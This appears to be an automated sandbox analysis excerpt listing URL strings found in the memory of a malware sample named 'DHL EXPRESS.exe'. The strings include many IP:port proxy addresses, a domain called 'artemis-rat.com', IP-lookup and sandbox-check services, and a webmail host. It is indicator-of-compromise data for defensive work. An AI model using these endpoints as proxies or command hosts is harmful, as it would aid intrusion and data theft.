Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.190.142.57:41890://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.190.24.119:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.190.24.119:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.42.151.10:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.42.151.10:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.43.193.230:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.43.193.230:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.101.179.153:9050
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.101.179.153:9050://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.124.16.218:8901
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.124.16.218:8901://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.106.196:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.106.196:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.107.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.107.45:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.107.45:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD849000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.14.66:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.14.66:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.203.7:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.203.7:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.153.163.226:81
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.153.163.226:81://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.154.152.4:8079
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.154.152.4:8079://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.154.221.91:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.154.221.91:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.177.106.178:2324
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.177.106.178:2324://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.186.234.236:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.186.234.236:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.23.168.246:5896
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.23.168.246:5896://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.23.220.136:25256
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.23.220.136:25256://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.23.252.168:9180
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.23.252.168:9180://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.231.199.226:1971
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.231.199.226:1971://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.232.125.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.232.125.200:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.232.125.200:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC7B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.26.241.120:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.45.74.60:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.45.74.60:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.73.251.19:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.73.251.19:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.154.124.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.154.124.114:58000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.154.124.114:58000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.164.89.123:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.164.89.123:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.165.129.55:8833
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.165.129.55:8833://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.165.161.27:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.165.161.27:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.165.163.188:60103
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.165.163.188:60103://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.216.17.79:3888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.216.230.239
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.216.230.239://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.216.230.239:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.104.21:24815
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.104.21:24815://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.137.46:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABAA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.137.46:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3ED000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.222.213:6969
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.217.222.213:6969://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.42.199:3629
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.42.199:3629://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.5.29:54651
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.31.5.29:54651://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.47.119.122:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.47.119.122:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.47.149.8:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.47.149.8:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.56.254.139:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.56.254.139:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.57.216.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.57.216.118:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.57.216.118:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.64.144.66:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.64.144.66:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.66.138.21:8880
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.66.138.21:8880://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD767000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.70.220.173:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD77C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.70.220.173:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.71.125.50:60867
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.71.125.50:60867://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAABA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.79.111.39:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.79.111.39:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.84.166.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.84.166.138:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.84.166.138:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.80.235.1:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.80.235.1:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.6
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.64:45780
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.64:45780://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.29:31679
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.29:31679://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.231:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.231:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.80:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.206.244.30:18301
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.206.244.30:18301://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.64.169.17:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.64.169.17:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3C1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://artemis-rat.com
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC460000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAAF1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADAE1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC86B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD79C000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC4E9000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC877000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADE14000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8A5000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABA7F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB0B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABA0A000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://batit.aliyun.com/alww.html?id=00000000003887822894
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA91000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADDC1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADE3B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA35000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.pki.goog/gts1p5/ZLjfCcC0tzo.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: RegSvcs.exe, 00000006.00000002.2638363384.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: RegSvcs.exe, 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.2638363384.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA91000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADDC1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADE3B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA35000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/s/gts1p5/4mHaPTRzkCs01
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA91000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADDC1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADE3B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA35000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gts1p5.der0
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA6D1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.2638363384.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000006.00000002.2638363384.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://startupsinhubs.com
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	String found in binary or memory: http://upx.sf.net
Source: RegSvcs.exe, 00000006.00000002.2638363384.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://webmail.startupsinhubs.com
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADC11000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4E7000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3BE000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC73F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.freecsstemplates.org
Source: RegSvcs.exe, 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: RegSvcs.exe, 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.2638363384.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000006.00000002.2638363384.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000006.00000002.2638363384.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://artemis-rat.com/
